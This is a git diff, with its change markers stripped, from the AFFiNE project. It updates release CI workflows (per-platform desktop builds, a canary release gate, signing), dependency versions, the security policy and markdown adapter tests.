# some flatpak deps need git protocol.file.allow
git config --global protocol.file.allow always
- name: Remove nbstore node_modules
shell: bash
# node_modules of nbstore is not needed for building, and it will make the build process out of memory
run: |
rm -rf packages/frontend/apps/electron/node_modules/@affine/nbstore/node_modules/@blocksuite
rm -rf packages/frontend/apps/electron/node_modules/@affine/native/node_modules
- name: make
run: yarn affine @affine/electron make --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
NODE_OPTIONS: --max-old-space-size=14384
- name: signing DMG
if: ${{ matrix.spec.platform == 'darwin' }}
run: |
codesign --force --sign "Developer ID Application: TOEVERYTHING PTE. LTD." packages/frontend/apps/electron/out/${{ env.BUILD_TYPE }}/make/AFFiNE.dmg
- name: Save artifacts (mac)
if: ${{ matrix.spec.platform == 'darwin' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/*.dmg ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.dmg
mv packages/frontend/apps/electron/out/*/make/zip/darwin/${{ matrix.spec.arch }}/*.zip ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.zip
- name: Save artifacts (linux)
if: ${{ matrix.spec.platform == 'linux' }}
run: |
mkdir -p builds
mv packages/frontend/apps/electron/out/*/make/zip/linux/${{ matrix.spec.arch }}/*.zip ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.zip
mv packages/frontend/apps/electron/out/*/make/*.AppImage ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.appimage
mv packages/frontend/apps/electron/out/*/make/deb/${{ matrix.spec.arch }}/*.deb ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.deb
mv packages/frontend/apps/electron/out/*/make/flatpak/*/*.flatpak ./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-${{ matrix.spec.arch }}.flatpak
- uses: actions/attest-build-provenance@v2
if: ${{ matrix.spec.platform == 'darwin' }}
with:
subject-path: |
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.zip
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-macos-${{ matrix.spec.arch }}.dmg
- uses: actions/attest-build-provenance@v2
if: ${{ matrix.spec.platform == 'linux' }}
with:
subject-path: |
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.zip
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.appimage
./builds/affine-${{ env.RELEASE_VERSION }}-${{ env.BUILD_TYPE }}-linux-x64.deb
- name: Upload Artifact
uses: actions/upload-artifact@v4
with:
name: affine-${{ matrix.spec.platform }}-${{ matrix.spec.arch }}-builds
path: builds
package-distribution-windows:
environment: ${{ inputs.build-type }}
make-distribution-linux:
if: ${{ inputs.desktop_linux }}
strategy:
fail-fast: false
matrix:
spec:
- runner: windows-latest
platform: win32
- runner: ubuntu-latest
platform: linux
arch: x64
target: x86_64-pc-windows-msvc
- runner: windows-latest
platform: win32
arch: arm64
target: aarch64-pc-windows-msvc
runs-on: ${{ matrix.spec.runner }}
target: x86_64-unknown-linux-gnu
needs: before-make
outputs:
FILES_TO_BE_SIGNED_x64: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED_x64 }}
FILES_TO_BE_SIGNED_arm64: ${{ steps.get_files_to_be_signed.outputs.FILES_TO_BE_SIGNED_arm64 }}
env:
SKIP_GENERATE_ASSETS: 1
SENTRY_ORG: ${{ secrets.SENTRY_ORG }}
SENTRY_PROJECT: 'affine'
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
SENTRY_DSN: ${{ secrets.SENTRY_DSN }}
SENTRY_RELEASE: ${{ inputs.app-version }}
MIXPANEL_TOKEN: ${{ secrets.MIXPANEL_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Setup Version
uses: ./.github/actions/setup-version
with:
app-version: ${{ inputs.app-version }}
- name: Setup Node.js
timeout-minutes: 10
uses: ./.github/actions/setup-node
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine/nbstore @toeverything/infra
hard-link-nm: false
nmHoistingLimits: workspaces
- name: Build AFFiNE native
uses: ./.github/actions/build-rust
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
- uses: actions/download-artifact@v4
with:
name: desktop-web
path: packages/frontend/apps/electron/resources/web-static
uses: ./.github/workflows/release-desktop-platform.yml
secrets: inherit
with:
build_type: ${{ inputs.build-type }}
app_version: ${{ inputs.app-version }}
git_short_hash: ${{ inputs.git-short-hash }}
runner: ${{ matrix.spec.runner }}
platform: ${{ matrix.spec.platform }}
arch: ${{ matrix.spec.arch }}
target: ${{ matrix.spec.target }}
install_linux_deps: true
- name: Build Desktop Layers
run: yarn affine @affine/electron build
package-distribution-windows-x64:
if: ${{ inputs.desktop_windows }}
needs: before-make
uses: ./.github/workflows/release-desktop-platform.yml
secrets: inherit
with:
build_type: ${{ inputs.build-type }}
app_version: ${{ inputs.app-version }}
git_short_hash: ${{ inputs.git-short-hash }}
runner: windows-latest
platform: win32
arch: x64
target: x86_64-pc-windows-msvc
enable_scripts: true
- name: Remove nbstore node_modules
shell: bash
# node_modules of nbstore is not needed for building, and it will make the build process out of memory
run: |
rm -rf packages/frontend/apps/electron/node_modules/@affine/nbstore/node_modules/@blocksuite/affine/node_modules
rm -rf packages/frontend/apps/electron/node_modules/@affine/native/node_modules
- name: package
run: |
yarn affine @affine/electron package --platform=${{ matrix.spec.platform }} --arch=${{ matrix.spec.arch }}
env:
SKIP_WEB_BUILD: 1
HOIST_NODE_MODULES: 1
NODE_OPTIONS: --max-old-space-size=14384
- name: get all files to be signed
id: get_files_to_be_signed
run: |
Set-Variable -Name FILES_TO_BE_SIGNED -Value ((Get-ChildItem -Path packages/frontend/apps/electron/out -Recurse -File | Where-Object { $_.Extension -in @(".exe", ".node", ".dll", ".msi") } | ForEach-Object { '"' + $_.FullName.Replace((Get-Location).Path + '\packages\frontend\apps\electron\out\', '') + '"' }) -join ' ')
"FILES_TO_BE_SIGNED_${{ matrix.spec.arch }}=$FILES_TO_BE_SIGNED" >> $env:GITHUB_OUTPUT
echo $FILES_TO_BE_SIGNED
- name: Zip artifacts for faster upload
run: Compress-Archive -CompressionLevel Fastest -Path packages/frontend/apps/electron/out/* -DestinationPath archive.zip
- name: Save packaged artifacts for signing
uses: actions/upload-artifact@v4
with:
name: packaged-${{ matrix.spec.platform }}-${{ matrix.spec.arch }}
path: |
archive.zip
!**/*.map
package-distribution-windows-arm64:
if: ${{ inputs.desktop_windows }}
needs: before-make
uses: ./.github/workflows/release-desktop-platform.yml
secrets: inherit
with:
build_type: ${{ inputs.build-type }}
app_version: ${{ inputs.app-version }}
git_short_hash: ${{ inputs.git-short-hash }}
runner: windows-latest
platform: win32
arch: arm64
target: aarch64-pc-windows-msvc
enable_scripts: true
sign-packaged-artifacts-windows_x64:
needs: package-distribution-windows
if: ${{ inputs.desktop_windows }}
needs: package-distribution-windows-x64
uses: ./.github/workflows/windows-signer.yml
with:
files: ${{ needs.package-distribution-windows.outputs.FILES_TO_BE_SIGNED_x64 }}
files: ${{ needs.package-distribution-windows-x64.outputs.files_to_be_signed }}
artifact-name: packaged-win32-x64
sign-packaged-artifacts-windows_arm64:
needs: package-distribution-windows
if: ${{ inputs.desktop_windows }}
needs: package-distribution-windows-arm64
uses: ./.github/workflows/windows-signer.yml
with:
files: ${{ needs.package-distribution-windows.outputs.FILES_TO_BE_SIGNED_arm64 }}
files: ${{ needs.package-distribution-windows-arm64.outputs.files_to_be_signed }}
artifact-name: packaged-win32-arm64
make-windows-installer:
if: ${{ inputs.desktop_windows }}
needs:
- sign-packaged-artifacts-windows_x64
- sign-packaged-artifacts-windows_arm64
@@ -349,6 +233,7 @@ jobs:
path: archive.zip
sign-installer-artifacts-windows-x64:
if: ${{ inputs.desktop_windows }}
needs: make-windows-installer
uses: ./.github/workflows/windows-signer.yml
with:
@@ -356,6 +241,7 @@ jobs:
artifact-name: installer-win32-x64
sign-installer-artifacts-windows-arm64:
if: ${{ inputs.desktop_windows }}
needs: make-windows-installer
uses: ./.github/workflows/windows-signer.yml
with:
@@ -363,6 +249,7 @@ jobs:
artifact-name: installer-win32-arm64
finalize-installer-windows:
if: ${{ inputs.desktop_windows }}
needs:
[
sign-installer-artifacts-windows-x64,
@@ -410,17 +297,18 @@ jobs:
path: builds
release:
needs: [before-make, make-distribution, finalize-installer-windows]
if: ${{ inputs.desktop_macos && inputs.desktop_linux && inputs.desktop_windows }}
needs:
[
before-make,
make-distribution-macos,
make-distribution-linux,
finalize-installer-windows,
]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
with:
name: desktop-web
path: web-static
- name: Zip web-static
run: zip -r web-static.zip web-static
- name: Download Artifacts (macos-x64)
uses: actions/download-artifact@v4
with:
@@ -466,6 +354,4 @@ jobs:
draft: ${{ inputs.build-type == 'stable' }}
prerelease: ${{ inputs.build-type != 'stable' }}
tag_name: v${{ env.RELEASE_VERSION}}
files: |
./release/*
./release/.env.example
files: ./release/*

View File

@@ -11,8 +11,18 @@ on:
required: true
type: boolean
default: false
desktop:
description: 'Release Desktop?'
desktop_macos:
description: 'Desktop - macOS'
required: true
type: boolean
default: false
desktop_windows:
description: 'Desktop - Windows'
required: true
type: boolean
default: false
desktop_linux:
description: 'Desktop - Linux'
required: true
type: boolean
default: false
@@ -50,6 +60,68 @@ jobs:
id: prepare
uses: ./.github/actions/prepare-release
canary-gate:
name: Canary Gate
runs-on: ubuntu-latest
needs:
- prepare
outputs:
SHOULD_RELEASE: ${{ steps.decide.outputs.SHOULD_RELEASE }}
LAST_CANARY_TAG: ${{ steps.decide.outputs.LAST_CANARY_TAG }}
LAST_CANARY_SHA: ${{ steps.decide.outputs.LAST_CANARY_SHA }}
steps:
- name: Decide whether to release
id: decide
uses: actions/github-script@v7
with:
script: |
const buildType = '${{ needs.prepare.outputs.BUILD_TYPE }}'
if (buildType !== 'canary') {
core.setOutput('SHOULD_RELEASE', 'true')
return
}
const owner = context.repo.owner
const repo = context.repo.repo
const currentSha = context.sha
const canaryTagRe = /^v\d+\.\d+\.\d+-canary\.[0-9a-f]+$/i
let page = 1
const perPage = 100
let lastCanary = null
while (!lastCanary && page <= 10) {
const { data } = await github.rest.repos.listTags({
owner,
repo,
per_page: perPage,
page,
})
for (const tag of data) {
if (canaryTagRe.test(tag.name)) {
lastCanary = tag
break
}
}
if (data.length < perPage) break
page++
}
if (!lastCanary) {
core.warning('No canary tags found; proceeding with canary release.')
core.setOutput('SHOULD_RELEASE', 'true')
return
}
core.setOutput('LAST_CANARY_TAG', lastCanary.name)
core.setOutput('LAST_CANARY_SHA', lastCanary.commit.sha)
const shouldRelease = lastCanary.commit.sha !== currentSha
core.info(`Latest canary tag ${lastCanary.name} -> ${lastCanary.commit.sha}; current ${currentSha}; should_release=${shouldRelease}`)
core.setOutput('SHOULD_RELEASE', shouldRelease ? 'true' : 'false')
cloud:
name: Release Cloud
if: ${{ inputs.web || github.event_name != 'workflow_dispatch' }}
@@ -64,9 +136,11 @@ jobs:
image:
name: Release Docker Image
if: ${{ needs.canary-gate.outputs.SHOULD_RELEASE == 'true' }}
runs-on: ubuntu-latest
needs:
- prepare
- canary-gate
- cloud
steps:
- uses: trstringer/manual-approval@v1
@@ -74,7 +148,7 @@ jobs:
name: Wait for approval
with:
secret: ${{ secrets.GITHUB_TOKEN }}
approvers: forehalo,fengmk2,darkskygit
approvers: darkskygit,pengx17,L-Sun,EYHN
minimum-approvals: 1
fail-on-denial: true
issue-title: Please confirm to release docker image
@@ -102,15 +176,25 @@ jobs:
desktop:
name: Release Desktop
if: ${{ inputs.desktop || github.event_name != 'workflow_dispatch' }}
if: >-
${{
(github.event_name != 'workflow_dispatch' && needs.canary-gate.outputs.SHOULD_RELEASE == 'true') ||
inputs.desktop_macos ||
inputs.desktop_windows ||
inputs.desktop_linux
}}
needs:
- prepare
- canary-gate
uses: ./.github/workflows/release-desktop.yml
secrets: inherit
with:
build-type: ${{ needs.prepare.outputs.BUILD_TYPE }}
app-version: ${{ needs.prepare.outputs.APP_VERSION }}
git-short-hash: ${{ needs.prepare.outputs.GIT_SHORT_HASH }}
desktop_macos: ${{ github.event_name != 'workflow_dispatch' || inputs.desktop_macos }}
desktop_windows: ${{ github.event_name != 'workflow_dispatch' || inputs.desktop_windows }}
desktop_linux: ${{ github.event_name != 'workflow_dispatch' || inputs.desktop_linux }}
mobile:
name: Release Mobile

5
.gitignore vendored
View File

@@ -33,6 +33,9 @@ node_modules
!.vscode/launch.template.json
!.vscode/extensions.json
# Kiro
.kiro
# misc
/.sass-cache
/connect.lock
@@ -44,6 +47,8 @@ testem.log
.pnpm-debug.log
/typings
tsconfig.tsbuildinfo
rfc*.md
todo.md
# System Files
.DS_Store

2
.nvmrc
View File

@@ -1 +1 @@
22.16.0
22.21.1

View File

@@ -2,6 +2,7 @@
**/node_modules
.yarn
.github/helm
.git
.vscode
.yarnrc.yml
.docker

View File

@@ -1,7 +1,7 @@
include = ["./*.toml", "./packages/**/*.toml"]
exclude = ["node_modules/**/*.toml", "target/**/*.toml"]
# https://taplo.tamasfe.dev/configuration/formatter-options.html
[formatting]
align_entries = true
column_width = 180
reorder_arrays = true
reorder_keys = true
align_entries = true
indent_tables = true
reorder_keys = true

File diff suppressed because one or more lines are too long

View File

@@ -12,4 +12,4 @@ npmPublishAccess: public
npmRegistryServer: "https://registry.npmjs.org"
yarnPath: .yarn/releases/yarn-4.9.1.cjs
yarnPath: .yarn/releases/yarn-4.12.0.cjs

859
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -13,108 +13,124 @@ members = [
]
resolver = "3"
[workspace.package]
edition = "2024"
[workspace.package]
edition = "2024"
[workspace.dependencies]
affine_common = { path = "./packages/common/native" }
affine_nbstore = { path = "./packages/frontend/native/nbstore" }
ahash = "0.8"
anyhow = "1"
arbitrary = { version = "1.3", features = ["derive"] }
assert-json-diff = "2.0"
async-lock = { version = "3.4.0", features = ["loom"] }
base64-simd = "0.8"
bitvec = "1.0"
block2 = "0.6"
byteorder = "1.5"
cpal = "0.15"
chrono = "0.4"
clap = { version = "4.4", features = ["derive"] }
core-foundation = "0.10"
coreaudio-rs = "0.12"
criterion = { version = "0.5", features = ["html_reports"] }
criterion2 = { version = "3", default-features = false }
crossbeam-channel = "0.5"
dispatch2 = "0.3"
docx-parser = { git = "https://github.com/toeverything/docx-parser" }
dotenvy = "0.15"
file-format = { version = "0.26", features = ["reader"] }
homedir = "0.3"
infer = { version = "0.19.0" }
lasso = { version = "0.7", features = ["multi-threaded"] }
lib0 = { version = "0.16", features = ["lib0-serde"] }
libc = "0.2"
log = "0.4"
loom = { version = "0.7", features = ["checkpoint"] }
mimalloc = "0.1"
nanoid = "0.4"
napi = { version = "3.0.0-beta.3", features = ["async", "chrono_date", "error_anyhow", "napi9", "serde"] }
napi-build = { version = "2" }
napi-derive = { version = "3.0.0-beta.3" }
nom = "8"
notify = { version = "8", features = ["serde"] }
objc2 = "0.6"
objc2-foundation = "0.3"
once_cell = "1"
ordered-float = "5"
parking_lot = "0.12"
path-ext = "0.1.2"
pdf-extract = { git = "https://github.com/toeverything/pdf-extract", branch = "darksky/improve-font-decoding" }
phf = { version = "0.11", features = ["macros"] }
proptest = "1.3"
proptest-derive = "0.5"
rand = "0.9"
rand_chacha = "0.9"
rand_distr = "0.5"
rayon = "1.10"
readability = { version = "0.3.0", default-features = false }
regex = "1.10"
rubato = "0.16"
screencapturekit = "0.3"
serde = "1"
serde_json = "1"
sha3 = "0.10"
smol_str = "0.3"
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "tls-rustls"] }
strum_macros = "0.27.0"
symphonia = { version = "0.5", features = ["all", "opt-simd"] }
text-splitter = "0.27"
thiserror = "2"
tiktoken-rs = "0.7"
tokio = "1.45"
tree-sitter = { version = "0.25" }
tree-sitter-c = { version = "0.24" }
tree-sitter-c-sharp = { version = "0.23" }
tree-sitter-cpp = { version = "0.23" }
tree-sitter-go = { version = "0.23" }
tree-sitter-java = { version = "0.23" }
tree-sitter-javascript = { version = "0.23" }
tree-sitter-kotlin-ng = { version = "1.1" }
tree-sitter-python = { version = "0.23" }
tree-sitter-rust = { version = "0.24" }
tree-sitter-scala = { version = "0.23" }
tree-sitter-typescript = { version = "0.23" }
uniffi = "0.29"
url = { version = "2.5" }
uuid = "1.8"
v_htmlescape = "0.15"
windows = { version = "0.61", features = [
"Win32_Devices_FunctionDiscovery",
"Win32_UI_Shell_PropertiesSystem",
"Win32_Media_Audio",
"Win32_System_Variant",
"Win32_System_Com_StructuredStorage",
"Win32_System_Threading",
"Win32_System_ProcessStatus",
"Win32_Foundation",
"Win32_System_Com",
"Win32_System_Diagnostics_ToolHelp",
] }
windows-core = { version = "0.61" }
y-octo = { path = "./packages/common/y-octo/core" }
y-sync = { version = "0.4" }
yrs = "0.23.0"
[workspace.dependencies]
affine_common = { path = "./packages/common/native" }
affine_nbstore = { path = "./packages/frontend/native/nbstore" }
ahash = "0.8"
anyhow = "1"
arbitrary = { version = "1.3", features = ["derive"] }
assert-json-diff = "2.0"
async-lock = { version = "3.4.0", features = ["loom"] }
base64-simd = "0.8"
bitvec = "1.0"
block2 = "0.6"
byteorder = "1.5"
chrono = "0.4"
clap = { version = "4.4", features = ["derive"] }
core-foundation = "0.10"
coreaudio-rs = "0.12"
cpal = "0.15"
criterion = { version = "0.5", features = ["html_reports"] }
criterion2 = { version = "3", default-features = false }
crossbeam-channel = "0.5"
dispatch2 = "0.3"
docx-parser = { git = "https://github.com/toeverything/docx-parser" }
dotenvy = "0.15"
file-format = { version = "0.28", features = ["reader"] }
homedir = "0.3"
infer = { version = "0.19.0" }
lasso = { version = "0.7", features = ["multi-threaded"] }
lib0 = { version = "0.16", features = ["lib0-serde"] }
libc = "0.2"
log = "0.4"
loom = { version = "0.7", features = ["checkpoint"] }
memory-indexer = "0.2.1"
mimalloc = "0.1"
mp4parse = "0.17"
nanoid = "0.4"
napi = { version = "3.7.0", features = [
"async",
"chrono_date",
"error_anyhow",
"napi9",
"serde",
] }
napi-build = { version = "2" }
napi-derive = { version = "3.4" }
nom = "8"
notify = { version = "8", features = ["serde"] }
objc2 = "0.6"
objc2-foundation = "0.3"
ogg = "0.9"
once_cell = "1"
ordered-float = "5"
parking_lot = "0.12"
path-ext = "0.1.2"
pdf-extract = { git = "https://github.com/toeverything/pdf-extract", branch = "darksky/improve-font-decoding" }
phf = { version = "0.11", features = ["macros"] }
proptest = "1.3"
proptest-derive = "0.5"
rand = "0.9"
rand_chacha = "0.9"
rand_distr = "0.5"
rayon = "1.10"
readability = { version = "0.3.0", default-features = false }
regex = "1.10"
rubato = "0.16"
screencapturekit = "0.3"
serde = "1"
serde_json = "1"
sha3 = "0.10"
smol_str = "0.3"
sqlx = { version = "0.8", default-features = false, features = [
"chrono",
"macros",
"migrate",
"runtime-tokio",
"sqlite",
"tls-rustls",
] }
strum_macros = "0.27.0"
symphonia = { version = "0.5", features = ["all", "opt-simd"] }
text-splitter = "0.27"
thiserror = "2"
tiktoken-rs = "0.7"
tokio = "1.45"
tree-sitter = { version = "0.25" }
tree-sitter-c = { version = "0.24" }
tree-sitter-c-sharp = { version = "0.23" }
tree-sitter-cpp = { version = "0.23" }
tree-sitter-go = { version = "0.23" }
tree-sitter-java = { version = "0.23" }
tree-sitter-javascript = { version = "0.23" }
tree-sitter-kotlin-ng = { version = "1.1" }
tree-sitter-python = { version = "0.23" }
tree-sitter-rust = { version = "0.24" }
tree-sitter-scala = { version = "0.24" }
tree-sitter-typescript = { version = "0.23" }
uniffi = "0.29"
url = { version = "2.5" }
uuid = "1.8"
v_htmlescape = "0.15"
windows = { version = "0.61", features = [
"Win32_Devices_FunctionDiscovery",
"Win32_Foundation",
"Win32_Media_Audio",
"Win32_System_Com",
"Win32_System_Com_StructuredStorage",
"Win32_System_Diagnostics_ToolHelp",
"Win32_System_ProcessStatus",
"Win32_System_Threading",
"Win32_System_Variant",
"Win32_UI_Shell_PropertiesSystem",
] }
windows-core = { version = "0.61" }
y-octo = { path = "./packages/common/y-octo/core" }
y-sync = { version = "0.4" }
yrs = "0.23.0"
[profile.dev.package.sqlx-macros]
opt-level = 3
@@ -125,6 +141,6 @@ lto = true
opt-level = 3
strip = "symbols"
# android uniffi bindgen requires symbols
[profile.release.package.affine_mobile_native]
strip = "none"
# android uniffi bindgen requires symbols
[profile.release.package.affine_mobile_native]
strip = "none"

View File

@@ -2,7 +2,7 @@ Copyright (c) 2022-present TOEVERYTHING PTE. LTD. and its affiliates.
Portions of this software are licensed as follows:
- All content that resides under the "packages/backend/server" directory of this repository, if that directory exists, is licensed under the license defined in "packages/backend/server/LICENSE".
- All content that resides under the "packages/backend" and "packages/common/native" directory of this repository, if that directory exists, is licensed under the license defined in "packages/backend/server/LICENSE".
- All third party components incorporated into the AFFiNE Software are licensed under the original license provided by the owner of the applicable component.
- Content outside of the above mentioned directories or restrictions above is available under the "MIT" license as defined in "LICENSE-MIT".

View File

@@ -6,7 +6,7 @@
<br>
</h1>
<a href="https://affine.pro/download">
<img alt="affine logo" src="https://cdn.affine.pro/Github_hero_image1.png" style="width: 100%">
<img alt="affine logo" src="https://cdn.affine.pro/Github_hero_image2.png" style="width: 100%">
</a>
<br/>
<p align="center">
@@ -81,7 +81,7 @@ Star us, and you will receive all release notifications from GitHub without any
**Multimodal AI partner ready to kick in any work**
- Write up professional work report? Turn an outline into expressive and presentable slides? Summary an article into a well-structured mindmap? Sorting your job plan and backlog for tasks? Or... draw and code prototype apps and web pages directly all with one prompt? With you, [AFFiNE AI](https://affine.pro/ai) pushes your creativity to the edge of your imagination,just like [Canvas AI](https://affine.pro/blog/best-canvas-ai) to generate mind map for brainstorming.
- Write up professional work report? Turn an outline into expressive and presentable slides? Summary an article into a well-structured mindmap? Sorting your job plan and backlog for tasks? Or... draw and code prototype apps and web pages directly all with one prompt? With you, [AFFiNE AI](https://affine.pro/ai) pushes your creativity to the edge of your imagination, just like [Canvas AI](https://affine.pro/blog/best-canvas-ai) to generate mind map for brainstorming.
**Local-first & Real-time collaborative**
@@ -193,6 +193,8 @@ We would like to express our gratitude to all the individuals who have already c
Begin with Docker to deploy your own feature-rich, unrestricted version of AFFiNE. Our team is diligently updating to the latest version. For more information on how to self-host AFFiNE, please refer to our [documentation](https://docs.affine.pro/self-host-affine).
[![Run on Sealos](https://sealos.io/Deploy-on-Sealos.svg)](https://sealos.io/products/app-store/affine)
[![Run on ClawCloud](https://raw.githubusercontent.com/ClawCloud/Run-Template/refs/heads/main/Run-on-ClawCloud.svg)](https://template.run.claw.cloud/?openapp=system-fastdeploy%3FtemplateName%3Daffine)
## Hiring

View File

@@ -6,15 +6,14 @@ We recommend users to always use the latest major version. Security updates will
| Version | Supported |
| --------------- | ------------------ |
| 0.17.x (stable) | :white_check_mark: |
| < 0.17.x | :x: |
| 0.25.x (stable) | :white_check_mark: |
| < 0.25.x | :x: |
## Reporting a Vulnerability
We welcome you to provide us with bug reports via and email at [security@toeverything.info](mailto:security@toeverything.info). We expect your report to contain at least the following for us to evaluate and reproduce:
We welcome you to provide us with bug reports via and email at [security@toeverything.info](mailto:security@toeverything.info) or submit directly on [GitHub](https://github.com/toeverything/AFFiNE/security), **we encourage you to submit the relevant information directly via GitHub**. We expect your report to contain at least the following for us to evaluate and reproduce:
1. Using platform and version, for example:
- macos arm64 0.12.0-canary-202402220729-0868ac6
- app.affine.pro 0.12.0-canary-202402220729-0868ac6
@@ -22,8 +21,6 @@ We welcome you to provide us with bug reports via and email at [security@toevery
3. Your classification or analysis of the vulnerability (optional)
Since we are an open source project, we also welcome you to provide corresponding fix PRs.
We will provide bounties for vulnerabilities involving user information leakage, permission leakage, and unauthorized code execution. For other types of vulnerabilities, we will determine specific rewards based on the evaluation results.
Since we are an open source project, we also welcome you to provide corresponding fix PRs, we will determine specific rewards based on the evaluation results.
If the vulnerability is caused by a library we depend on, we encourage you to submit a security report to the corresponding dependent library at the same time to benefit more users.

View File

@@ -79,7 +79,7 @@
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@blocksuite/sync": "workspace:*",
"rxjs": "^7.8.1"
"rxjs": "^7.8.2"
},
"exports": {
".": "./src/index.ts",
@@ -296,10 +296,10 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4",
"version": "0.25.7",
"devDependencies": {
"@vanilla-extract/vite-plugin": "^5.0.0",
"msw": "^2.8.4",
"vitest": "3.1.3"
"msw": "^2.12.4",
"vitest": "^3.2.4"
}
}

View File

@@ -2214,7 +2214,7 @@ describe('html to snapshot', () => {
test('iframe', async () => {
const html = template(
`<iframe width="560" height="315" src="https://www.youtube.com/embed/QDsd0nyzwz0?start=&amp;end=" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>`
`<iframe width="560" height="315" src="https://www.youtube.com/embed/QDsd0nyzwz0?start=&amp;end=" title="YouTube video player" frameborder="0" allow="fullscreen; autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin"></iframe>`
);
const blockSnapshot: BlockSnapshot = {

View File

@@ -1,3 +1,4 @@
import { MarkdownTransformer } from '@blocksuite/affine/widgets/linked-doc';
import {
DefaultTheme,
NoteDisplayMode,
@@ -16,12 +17,15 @@ import type {
SliceSnapshot,
TransformerMiddleware,
} from '@blocksuite/store';
import { AssetsManager, MemoryBlobCRUD } from '@blocksuite/store';
import { AssetsManager, MemoryBlobCRUD, Schema } from '@blocksuite/store';
import { TestWorkspace } from '@blocksuite/store/test';
import { describe, expect, test } from 'vitest';
import { AffineSchemas } from '../../schemas.js';
import { createJob } from '../utils/create-job.js';
import { getProvider } from '../utils/get-provider.js';
import { nanoidReplacement } from '../utils/nanoid-replacement.js';
import { testStoreExtensions } from '../utils/store.js';
const provider = getProvider();
@@ -90,6 +94,39 @@ describe('snapshot to markdown', () => {
expect(target.file).toBe(markdown);
});
test('imports frontmatter metadata into doc meta', async () => {
const schema = new Schema().register(AffineSchemas);
const collection = new TestWorkspace();
collection.storeExtensions = testStoreExtensions;
collection.meta.initialize();
const markdown = `---
title: Web developer
created: 2018-04-12T09:51:00
updated: 2018-04-12T10:00:00
tags: [a, b]
favorite: true
---
Hello world
`;
const docId = await MarkdownTransformer.importMarkdownToDoc({
collection,
schema,
markdown,
fileName: 'fallback-title',
extensions: testStoreExtensions,
});
expect(docId).toBeTruthy();
const meta = collection.meta.getDocMeta(docId!);
expect(meta?.title).toBe('Web developer');
expect(meta?.createDate).toBe(Date.parse('2018-04-12T09:51:00'));
expect(meta?.updatedDate).toBe(Date.parse('2018-04-12T10:00:00'));
expect(meta?.favorite).toBe(true);
expect(meta?.tags).toEqual(['a', 'b']);
});
test('paragraph', async () => {
const blockSnapshot: BlockSnapshot = {
type: 'block',
@@ -2996,6 +3033,50 @@ describe('markdown to snapshot', () => {
});
});
test('html inline color span imports to nearest supported text color', async () => {
const markdown = `<span style="color: #00afde;">Hello</span>`;
const blockSnapshot: BlockSnapshot = {
type: 'block',
id: 'matchesReplaceMap[0]',
flavour: 'affine:note',
props: {
xywh: '[0,0,800,95]',
background: DefaultTheme.noteBackgrounColor,
index: 'a0',
hidden: false,
displayMode: NoteDisplayMode.DocAndEdgeless,
},
children: [
{
type: 'block',
id: 'matchesReplaceMap[1]',
flavour: 'affine:paragraph',
props: {
type: 'text',
text: {
'$blocksuite:internal:text$': true,
delta: [
{
insert: 'Hello',
attributes: {
color: 'var(--affine-v2-text-highlight-fg-blue)',
},
},
],
},
},
children: [],
},
],
};
const mdAdapter = new MarkdownAdapter(createJob(), provider);
const rawBlockSnapshot = await mdAdapter.toBlockSnapshot({
file: markdown,
});
expect(nanoidReplacement(rawBlockSnapshot)).toEqual(blockSnapshot);
});
test('paragraph', async () => {
const markdown = `aaa

File diff suppressed because it is too large Load Diff

View File

@@ -17,7 +17,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -26,9 +26,9 @@
"@toeverything/theme": "^1.1.16",
"file-type": "^21.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -19,20 +19,20 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
